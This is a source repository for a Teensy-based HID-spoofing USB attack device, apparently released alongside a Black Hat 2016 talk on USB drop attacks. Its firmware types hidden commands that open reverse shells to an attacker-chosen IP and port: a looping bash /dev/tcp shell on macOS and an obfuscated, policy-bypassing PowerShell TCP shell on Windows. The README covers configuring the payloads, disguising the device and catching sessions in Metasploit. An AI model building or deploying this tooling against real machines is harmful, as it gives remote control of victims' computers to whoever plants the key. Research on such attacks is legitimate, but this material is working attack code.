├── payload
├── payload_osx.sh
├── payload_win.ps
├── configure_payload.py
└── payload.c
├── README.md
└── LICENSE
/payload/payload_osx.sh:
--------------------------------------------------------------------------------
1 | (nohup bash -c \"while true;do bash -i >& /dev/tcp/IP/PORT 0>&1 2>&1; sleep 1;done\" 1>/dev/null &)
2 |
--------------------------------------------------------------------------------
/payload/payload_win.ps:
--------------------------------------------------------------------------------
1 | Process {
2 | $modules=@()
3 | $c=New-Object System.Net.Sockets.TCPClient("IP",PORT)
4 | $s=$c.GetStream()
5 | [byte[]]$b=0..20000|%{0}
6 | $d=([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user "+$env:username+" on "+$env:computername+"`nEnjoy!.`n`n")
7 | $s.Write($d,0,$d.Length)
8 | $d=([text.encoding]::ASCII).GetBytes("PS "+(Get-Location).Path+">")
9 | $s.Write($d,0,$d.Length)
10 | while(($i=$s.Read($b,0,$b.Length)) -ne 0)
11 | {
12 | $E=New-Object -TypeName System.Text.ASCIIEncoding
13 | $D=$E.GetString($b,0,$i)
14 | $k=(Invoke-Expression -Command $d 2>&1 | Out-String)
15 | $l=$k+"PS "+(Get-Location).Path+"> "
16 | $x=($error[0] | Out-String)
17 | $error.clear()
18 | $l=$l+$x
19 | $d=([text.encoding]::ASCII).GetBytes($l)
20 | $s.Write($d,0,$d.Length)
21 | $s.Flush()
22 | }
23 | $c.Close()
24 | }
25 |
--------------------------------------------------------------------------------
/payload/configure_payload.py:
--------------------------------------------------------------------------------
1 | '''
2 | Small Utility for configuring the Teensy payload remote server IP and PORT
3 |
4 | * @see: https://www.elie.net/malusb for more information on HID spoofing devices.
5 | * @authors Elie Bursztein (contact@elie.net), Jean Michel Picod (jmichel.p@gmail.com)
6 | * @licence: GPL v3
7 | '''
8 |
9 | import sys
10 | from subprocess import Popen, PIPE
11 |
12 | if len(sys.argv) != 3:
13 | print "usage: payload_configurator.py IP PORT"
14 | sys.exit(0)
15 |
16 | IP = sys.argv[1]
17 | PORT = sys.argv[2]
18 | print "Configuring paylaod with IP:%s Port:%s" % (IP, PORT)
19 |
20 | # Configuring OSX payload
21 | try:
22 | osx_payload = open("payload_osx.sh").read()
23 | except:
24 | print "can't find payload_osx.sh"
25 | sys.exit(-1)
26 | osx_payload = osx_payload.replace("IP", IP)
27 | osx_payload = osx_payload.replace("PORT", PORT)
28 |
29 | # Configuring Windows payload
30 | # Configuring OSX payload
31 | try:
32 | win_payload = open("payload_win.ps").read()
33 | except:
34 | print "can't find payload_win.ps"
35 | sys.exit(-1)
36 | win_payload = win_payload.replace("IP", IP)
37 | win_payload = win_payload.replace("PORT", PORT)
38 | #dump configure payload
39 | f = open("payload_win_configured.ps", "w+")
40 | f.write(win_payload)
41 | f.close()
42 | #compress and base 64
43 | process = Popen(['cat payload_win_configured.ps | gzip -c | base64'], stdout=PIPE, stderr=PIPE, shell=True)
44 | stdout, stderr = process.communicate()
45 | win_compressed_payload = stdout.strip()
46 |
47 | #configure payload.c
48 | # Configuring OSX payload
49 | try:
50 | payload = open("payload.c").read()
51 | except:
52 | print "can't find payload.c"
53 | sys.exit(-1)
54 | payload = payload.replace("OSX_PAYLOAD_STR", osx_payload.replace("\n", ""))
55 | payload = payload.replace("WIN_PAYLOAD_STR", win_compressed_payload.replace("\n", ""))
56 | # dump final paylaod
57 | #dump configure payload
58 | f = open("payload_configured.c", "w+")
59 | f.write(payload)
60 | f.close()
61 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # HID spoofing multi-OS payload for Teensy
2 |
3 | This code allows creation of a cross-platform HID spoofing payload that
4 | will spawn a reverse TCP-shell on Windows and OS X.
5 |
6 | It was developed as part of the presentation I made at Blackhat USA 2016:
7 | [Does Dropping USB drives in parking lots and other places really work?](https://www.elie.net/publication/does-dropping-usb-drives-really-work) to show how to create realistic HID spoofing keys that can be used in USB key drop attack.
8 |
9 | For more information on how to make realistic HID spoofing key see my [blog post on the subject](https://www.elie.net/blog/security/what-are-malicious-usb-keys-and-how-to-create-a-realistic-one)
10 |
11 | ## Environment setup
12 |
13 | To get the payload working you need:
14 | 1. A Teensy. You can get one directly from [Amazon](http://amzn.to/2anjrMs) or [PRJC](https://www.pjrc.com/store/teensy32.html)
15 | 2. The Arduino environment with Teensyduino to compile your payload and the Teensy loader to upload the payload to your Teensy. See [instructions here](https://www.pjrc.com/teensy/index.html)
16 |
17 | If you want to conceal the Teensy into a realistic key follow the instruction locate in the last third of my [blog post on the subject](https://www.elie.net/blog/security/what-are-malicious-usb-keys-and-how-to-create-a-realistic-one)
18 |
19 | ## Configuring the payload
20 | The payload need to be configured to connect to the server of your choice. There is to way to do it:
21 | ### Use the Python configuration script
22 | That is the easy way and should work on most OSX and Linux or even Windows computers
23 | as long as Python is installed. To run it simply invoke:
24 | ```
25 | cd payload
26 | python configure_payload.py IP PORT
27 | ```
28 | where *IP* is the IP of the server and *PORT* is the TCP port you want the connection back. Your configured payload is available in the file **configured_payload.c**.
29 |
30 | ### Manual configuration
31 | If you don't have python, something went wrong or want to do it manually. Here is
32 | what you need to do:
33 | 1. Edit the OSX payload from **payload/payload_osx.sh** to
34 | replace the constant IP and PORT with the one from your server
35 | 2. Replace in **payload/payload.c** the *OSX_PAYLOAD_STR* string with your customized payload
36 | 3. Edit the Windows payload from **payload/payload_win.ps** and replace the constant IP and PORT with the one from your server
37 | 4. Compress and encode it with: `cat payload | gzip -c | base64`
38 | 5. Replace the *WIN_PAYLOAD_STR* string in the **payload/payload.c** with the output of the previous command. The *WIN_PAYLOAD_STR* string is in the middle of the Windows payload.
39 |
40 | ## Compiling and uploading payload to the Teensy
41 | Once the payload is configured, to get your Teensy up and running all you need to do is:
42 | 1. Create a new project in Arduino environment
43 | 2. In Tool make sure that the *Board* option is set to *"Teensy 3.2 / 3.1"*
44 | 3. The Tool again set the *USB Type* option is set to : *"Serial + Keyboard + Mouse + Joystick"*
45 | 4. copy/past the code in the Arduino environment
46 | 5. Check that it is working by pressing the verify button
47 | 6. Press the compile and upload button to program your Teensy
48 |
49 | Congratulations, your Teensy is ready to go.
50 |
51 | ## Configuring the server
52 |
53 | The server aspect requires to have a server that have a static IP that is reachable form Internet. We are going to use the generic Metasploit multi handler to control the reverse shell(s). Here is briefly how to do it, for more information please read the [Metaploit documentation](https://help.rapid7.com/metasploit/index.html)
54 |
55 | 1. Install and launch Metasploit
56 | 2. Load the multi-handler `use exploit/multi/handler`
57 | 3. Set the Payload to reverse-shell `set payload osx/x64/shell_reverse_tcp` Despite the name, it will works for all OS
58 | 4. Set the IP of the server `set LHOST YOUR_IP`
59 | 5. Set the PORT of the server `set LPORT YOUR_PORT`
60 | 6. Tell Metasploit to not close the plugin when a session disconnect: `set ExitOnSession false`
61 | 7. Launch the paylaod: `exploit -j -z`
62 |
63 | ## Controlling a reverse shell
64 |
65 | When a key is plugged you will see a log message indicating a new session is connected. You get the list of sessions by issuing the command:
66 | ```
67 | sessions -l
68 | ```
69 |
70 | To control a specific session:
71 | ```
72 | sessions -i session_id
73 | ```
74 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU LESSER GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 |
9 | This version of the GNU Lesser General Public License incorporates
10 | the terms and conditions of version 3 of the GNU General Public
11 | License, supplemented by the additional permissions listed below.
12 |
13 | 0. Additional Definitions.
14 |
15 | As used herein, "this License" refers to version 3 of the GNU Lesser
16 | General Public License, and the "GNU GPL" refers to version 3 of the GNU
17 | General Public License.
18 |
19 | "The Library" refers to a covered work governed by this License,
20 | other than an Application or a Combined Work as defined below.
21 |
22 | An "Application" is any work that makes use of an interface provided
23 | by the Library, but which is not otherwise based on the Library.
24 | Defining a subclass of a class defined by the Library is deemed a mode
25 | of using an interface provided by the Library.
26 |
27 | A "Combined Work" is a work produced by combining or linking an
28 | Application with the Library. The particular version of the Library
29 | with which the Combined Work was made is also called the "Linked
30 | Version".
31 |
32 | The "Minimal Corresponding Source" for a Combined Work means the
33 | Corresponding Source for the Combined Work, excluding any source code
34 | for portions of the Combined Work that, considered in isolation, are
35 | based on the Application, and not on the Linked Version.
36 |
37 | The "Corresponding Application Code" for a Combined Work means the
38 | object code and/or source code for the Application, including any data
39 | and utility programs needed for reproducing the Combined Work from the
40 | Application, but excluding the System Libraries of the Combined Work.
41 |
42 | 1. Exception to Section 3 of the GNU GPL.
43 |
44 | You may convey a covered work under sections 3 and 4 of this License
45 | without being bound by section 3 of the GNU GPL.
46 |
47 | 2. Conveying Modified Versions.
48 |
49 | If you modify a copy of the Library, and, in your modifications, a
50 | facility refers to a function or data to be supplied by an Application
51 | that uses the facility (other than as an argument passed when the
52 | facility is invoked), then you may convey a copy of the modified
53 | version:
54 |
55 | a) under this License, provided that you make a good faith effort to
56 | ensure that, in the event an Application does not supply the
57 | function or data, the facility still operates, and performs
58 | whatever part of its purpose remains meaningful, or
59 |
60 | b) under the GNU GPL, with none of the additional permissions of
61 | this License applicable to that copy.
62 |
63 | 3. Object Code Incorporating Material from Library Header Files.
64 |
65 | The object code form of an Application may incorporate material from
66 | a header file that is part of the Library. You may convey such object
67 | code under terms of your choice, provided that, if the incorporated
68 | material is not limited to numerical parameters, data structure
69 | layouts and accessors, or small macros, inline functions and templates
70 | (ten or fewer lines in length), you do both of the following:
71 |
72 | a) Give prominent notice with each copy of the object code that the
73 | Library is used in it and that the Library and its use are
74 | covered by this License.
75 |
76 | b) Accompany the object code with a copy of the GNU GPL and this license
77 | document.
78 |
79 | 4. Combined Works.
80 |
81 | You may convey a Combined Work under terms of your choice that,
82 | taken together, effectively do not restrict modification of the
83 | portions of the Library contained in the Combined Work and reverse
84 | engineering for debugging such modifications, if you also do each of
85 | the following:
86 |
87 | a) Give prominent notice with each copy of the Combined Work that
88 | the Library is used in it and that the Library and its use are
89 | covered by this License.
90 |
91 | b) Accompany the Combined Work with a copy of the GNU GPL and this license
92 | document.
93 |
94 | c) For a Combined Work that displays copyright notices during
95 | execution, include the copyright notice for the Library among
96 | these notices, as well as a reference directing the user to the
97 | copies of the GNU GPL and this license document.
98 |
99 | d) Do one of the following:
100 |
101 | 0) Convey the Minimal Corresponding Source under the terms of this
102 | License, and the Corresponding Application Code in a form
103 | suitable for, and under terms that permit, the user to
104 | recombine or relink the Application with a modified version of
105 | the Linked Version to produce a modified Combined Work, in the
106 | manner specified by section 6 of the GNU GPL for conveying
107 | Corresponding Source.
108 |
109 | 1) Use a suitable shared library mechanism for linking with the
110 | Library. A suitable mechanism is one that (a) uses at run time
111 | a copy of the Library already present on the user's computer
112 | system, and (b) will operate properly with a modified version
113 | of the Library that is interface-compatible with the Linked
114 | Version.
115 |
116 | e) Provide Installation Information, but only if you would otherwise
117 | be required to provide such information under section 6 of the
118 | GNU GPL, and only to the extent that such information is
119 | necessary to install and execute a modified version of the
120 | Combined Work produced by recombining or relinking the
121 | Application with a modified version of the Linked Version. (If
122 | you use option 4d0, the Installation Information must accompany
123 | the Minimal Corresponding Source and Corresponding Application
124 | Code. If you use option 4d1, you must provide the Installation
125 | Information in the manner specified by section 6 of the GNU GPL
126 | for conveying Corresponding Source.)
127 |
128 | 5. Combined Libraries.
129 |
130 | You may place library facilities that are a work based on the
131 | Library side by side in a single library together with other library
132 | facilities that are not Applications and are not covered by this
133 | License, and convey such a combined library under terms of your
134 | choice, if you do both of the following:
135 |
136 | a) Accompany the combined library with a copy of the same work based
137 | on the Library, uncombined with any other library facilities,
138 | conveyed under the terms of this License.
139 |
140 | b) Give prominent notice with the combined library that part of it
141 | is a work based on the Library, and explaining where to find the
142 | accompanying uncombined form of the same work.
143 |
144 | 6. Revised Versions of the GNU Lesser General Public License.
145 |
146 | The Free Software Foundation may publish revised and/or new versions
147 | of the GNU Lesser General Public License from time to time. Such new
148 | versions will be similar in spirit to the present version, but may
149 | differ in detail to address new problems or concerns.
150 |
151 | Each version is given a distinguishing version number. If the
152 | Library as you received it specifies that a certain numbered version
153 | of the GNU Lesser General Public License "or any later version"
154 | applies to it, you have the option of following the terms and
155 | conditions either of that published version or of any later version
156 | published by the Free Software Foundation. If the Library as you
157 | received it does not specify a version number of the GNU Lesser
158 | General Public License, you may choose any version of the GNU Lesser
159 | General Public License ever published by the Free Software Foundation.
160 |
161 | If the Library as you received it specifies that a proxy can decide
162 | whether future versions of the GNU Lesser General Public License shall
163 | apply, that proxy's public statement of acceptance of any version is
164 | permanent authorization for you to choose that version for the
165 | Library.
166 |
--------------------------------------------------------------------------------
/payload/payload.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Malicious HID USB payload
3 | * https://github.com/LightWind/malusb
4 | *
5 | * Malicious chimera HID payload that create a background reverse shell to the server of your choice
6 | * Works both on Windows and OSX. See the README to know how to configure it.
7 | *
8 | * @see: https://www.elie.net/malusb for more information on HID spoofing devices.
9 | * @authors Elie Bursztein (contact@elie.net), Jean Michel Picod (jmichel.p@gmail.com)
10 | * @licence: GPL v3
11 | */
12 |
13 | #include
14 |
15 | /////////////////////////////////////////////////
16 | /// Reverse shell payloads
17 | /////////////////////////////////////////////////
18 |
19 | /* Those payloads stub need to be replaced with actual payloads to work */
20 | const char* OSX_PAYLOAD = "OSX_PAYLOAD_STR";
21 | const char* WIN_PAYLOAD = "powershell -exec bypass -nop -W hidden -noninteractive -Command \"& {$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String('WIN_PAYLOAD_STR'));$t=(New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();IEX $t }\";exit";
22 |
23 | /////////////////////////////////////////////////
24 | /// Internal constants
25 | /////////////////////////////////////////////////
26 |
27 | #define NUMLOCK 1
28 | #define CAPSLOCK 2
29 | #define SCROLLLOCK 4
30 | #define LED_PIN 11 // Teensy pin for the led.
31 |
32 |
33 | #define LOCK_KEY CAPSLOCK // Key used for testing end of command execution. NUMLOCK or CAPSLOCK or SCROLLLOCK.
34 | #define LOCK_CHECK_WAIT_MS 100 // Time between lock checks in ms
35 | #define LOCK_ATTEMPTS 10 // attempts to load the driver
36 |
37 |
38 | #define DELAY 500 // delay between command
39 |
40 | /////////////////////////////////////////////////
41 | /// Lock related functions
42 | /////////////////////////////////////////////////
43 |
44 | /*!
45 | * Check the state of the lock key used for locking mechanism.
46 | */
47 | boolean is_locked(void) {
48 | if ((keyboard_leds & LOCK_KEY) == LOCK_KEY) {
49 | return true;
50 | } else {
51 | return false;
52 | }
53 | }
54 |
55 |
56 | /*!
57 | * Toggle the selected locked key stats.
58 | */
59 | void toggle_lock(void) {
60 | unsigned short k;
61 | switch(LOCK_KEY) {
62 | case NUMLOCK:
63 | k = KEY_NUM_LOCK;
64 | break;
65 | case CAPSLOCK:
66 | k = KEY_CAPS_LOCK;
67 | break;
68 | case SCROLLLOCK:
69 | k = KEY_SCROLL_LOCK;
70 | break;
71 | default:
72 | break;
73 | }
74 | set_key(1, k);
75 | type_keys();
76 | }
77 |
78 |
79 | /*!
80 | * reset lock to unlock
81 | */
82 | void reset_lock(void) {
83 | if (is_locked()) {
84 | toggle_lock();
85 | }
86 | }
87 |
88 | /////////////////////////////////////////////////
89 | /// Utility functions
90 | /////////////////////////////////////////////////
91 |
92 | /*
93 | * Fingerprint OSX vs Win/Linux based on the fact that OSX don't have scrollnum
94 | * Idea: Try to toggle and if no change then it is OSX else Win or OSX
95 | */
96 | boolean is_osx() {
97 | int status1 = 0; //LED status before toggle
98 | int status2 = 0; //LED status after toggle
99 | unsigned short sk = NUMLOCK;
100 | // Get status
101 | status1 = ((keyboard_leds & sk) == sk) ? 1 : 0;
102 | delay(DELAY);
103 |
104 | //Toggle
105 | set_key(1, sk);
106 | type_keys();
107 |
108 | // Get status
109 | status2 = ((keyboard_leds & sk) == sk) ? 1 : 0;
110 | clear_keys();
111 | is_done();
112 |
113 | if (status1 == status2) {
114 | return true;
115 | } else {
116 | return false;
117 | }
118 | }
119 |
120 |
121 | void set_modifier(unsigned short m) {
122 | Keyboard.set_modifier(m);
123 | }
124 |
125 | /*!
126 | * Set keyboard key values
127 | * @param position: the position of the key in [1, 6]
128 | * @param value: the key value
129 | */
130 |
131 | void set_key(unsigned short position, unsigned short value) {
132 | switch(position) {
133 | case 1:
134 | Keyboard.set_key1(value);
135 | break;
136 | case 2:
137 | Keyboard.set_key2(value);
138 | break;
139 | case 3:
140 | Keyboard.set_key3(value);
141 | break;
142 | case 4:
143 | Keyboard.set_key4(value);
144 | break;
145 | case 5:
146 | Keyboard.set_key5(value);
147 | break;
148 | case 6:
149 | Keyboard.set_key6(value);
150 | break;
151 | default:
152 | break;
153 | }
154 | }
155 |
156 | /*!
157 | * Type the given key combination
158 | * type/write the keys, clear and wait to be succesful
159 | * @return if the command succeeded or not
160 | */
161 | void type_keys(void) {
162 | Keyboard.send_now();
163 | clear_keys();
164 | delay(DELAY);
165 | }
166 |
167 | /*!
168 | * Type a command line including "ENTER"
169 | * type/write the keys, clear and wait to be succesful
170 | * @return if the command succeeded or not
171 | */
172 | void type_command(const char* cmd) {
173 | Keyboard.print(cmd);
174 | Keyboard.send_now();
175 | delay(DELAY);
176 |
177 | Keyboard.println("");
178 | Keyboard.send_now();
179 | delay(DELAY * 4);
180 | clear_keys();
181 | }
182 |
183 |
184 | /*!
185 | * clear keyboard
186 | * return true if sucessful
187 | */
188 | void clear_keys (void){
189 |
190 | // reset all keys
191 | for (int i = 1; i < 7; i++)
192 | set_key(i, 0);
193 |
194 | // reset modifier
195 | set_modifier(0);
196 | Keyboard.send_now();
197 | delay(DELAY);
198 | }
199 |
200 | /*!
201 | * Wait until the drivers are load and the teensy active.
202 | *
203 | * The idea behind this is to try to get the onboard light to blink
204 | * and then try to lock our lock key. If both succeed then we are ready
205 | *
206 | * @note: Idea from Offsec Peensy code
207 | */
208 | void wait_for_drivers(void) {
209 | //until we are ready
210 | for(int i = 0; i < LOCK_ATTEMPTS && (!is_locked()); i++) {
211 | digitalWrite(LED_PIN, HIGH);
212 | digitalWrite(LED_PIN, LOW);
213 | delay(LOCK_CHECK_WAIT_MS);
214 | toggle_lock();
215 | }
216 |
217 | // maybe it is seen as a new keyboard, evading
218 | if (!is_locked()) {
219 | osx_close_windows();
220 | }
221 |
222 | //reseting lock
223 | reset_lock();
224 | delay(100);
225 | }
226 |
227 |
228 | /*!
229 | * Check if a commad is sucessful by testing the lock key
230 | */
231 | void is_done (void) {
232 | //for(int i = 0; i < LOCK_ATTEMPTS && (!is_locked()); i++) {
233 | boolean current_lock = is_locked();
234 | toggle_lock();
235 | while(is_locked() == current_lock) {
236 | delay(LOCK_CHECK_WAIT_MS);
237 | }
238 | reset_lock();
239 | }
240 |
241 |
242 | /////////////////////////////////////////////////
243 | /// Payload functions
244 | /////////////////////////////////////////////////
245 | /*
246 | char* build_payload(const char* payload_template) {
247 | bzero(payload_osx, PAYLOAD_OSX_SIZE);
248 | snprintf(payload_osx, PAYLOAD_OSX_SIZE, payload_template, MSF_IP, MSF_PORT);
249 | return payload_osx;
250 | }
251 | */
252 |
253 | /////////////////////////////////////////////////
254 | /// OSX functions
255 | /////////////////////////////////////////////////
256 |
257 | /** open terminal **/
258 | void osx_close_windows(void) {
259 | set_modifier(MODIFIERKEY_RIGHT_GUI);
260 | set_key(1, KEY_Q);
261 | type_keys();
262 | }
263 |
264 | /** open spotlight application to launch other apps **/
265 | void osx_open_spotlight(void) {
266 | set_modifier(MODIFIERKEY_RIGHT_GUI);
267 | set_key(1, KEY_SPACE);
268 | type_keys();
269 | }
270 |
271 | void osx_hide_windows(void) {
272 | // minimize background windows
273 | set_modifier(MODIFIERKEY_RIGHT_GUI | MODIFIERKEY_ALT);
274 | set_key(1, KEY_H);
275 | type_keys();
276 |
277 | // minimize active windows
278 | set_modifier(MODIFIERKEY_RIGHT_GUI | MODIFIERKEY_ALT);
279 | set_key(1, KEY_M);
280 | type_keys();
281 |
282 | // minimize active windows
283 | set_modifier(MODIFIERKEY_RIGHT_GUI | MODIFIERKEY_ALT);
284 | set_key(1, KEY_M);
285 | set_key(2, KEY_H);
286 | type_keys();
287 | }
288 |
289 | /** OSX payload delivery **/
290 | void osx_exec_payload(void) {
291 | //hide all the window
292 | osx_hide_windows();
293 |
294 | //spotlight
295 | osx_open_spotlight();
296 |
297 | //terminal
298 | type_command("terminal");
299 |
300 | //payload
301 | type_command(OSX_PAYLOAD);
302 |
303 | //cleanup
304 | osx_close_windows();
305 | }
306 |
307 | /////////////////////////////////////////////////
308 | /// Windows functions
309 | /////////////////////////////////////////////////
310 |
311 | /*
312 | * Fingerprinting technique using powershell
313 | * @credit NFC
314 | *
315 | */
316 | bool fingerprint_windows(void) {
317 | int status1 = 0; //LED status before toggle
318 | int status2 = 0; //LED status after toggle
319 | unsigned short sk = SCROLLLOCK;
320 |
321 | // Get status
322 | status1 = ((keyboard_leds & sk) == sk) ? 1 : 0;
323 | delay(DELAY);
324 |
325 |
326 | //Asking windows to set SCROLLLOCK
327 | win_open_execute();
328 | type_command("powershell -Command \"(New-Object -ComObject WScript.Shell).SendKeys('{SCROLLLOCK}')\"");
329 | delay(DELAY);
330 |
331 | // Get status
332 | status2 = ((keyboard_leds & sk) == sk) ? 1 : 0;
333 | is_done();
334 |
335 | if (status1 != status2) {
336 | return true;
337 | } else {
338 | return false;
339 | }
340 | }
341 |
342 |
343 | void win_open_execute(void) {
344 | // Windows key + R
345 | set_modifier(MODIFIERKEY_GUI);
346 | set_key(1, KEY_R);
347 | type_keys();
348 | }
349 |
350 | void win_payload(void) {
351 | // exex prompt
352 | win_open_execute();
353 |
354 | //cmd
355 | type_command("cmd");
356 |
357 | //run payload
358 | type_command(WIN_PAYLOAD);
359 | }
360 |
361 | /*
362 | * Main function
363 | */
364 | void setup() {
365 | //wait until the key is up and ready
366 | wait_for_drivers();
367 | clear_keys();
368 | if (fingerprint_windows() == true) {
369 | win_payload();
370 | } else {
371 | osx_exec_payload();
372 | }
373 | }
374 |
375 | /*
376 | * Code that need to be executed repeatedly goes here
377 | * @note: not used as payload as one time execution.
378 | */
379 | void loop() {}
380 |
--------------------------------------------------------------------------------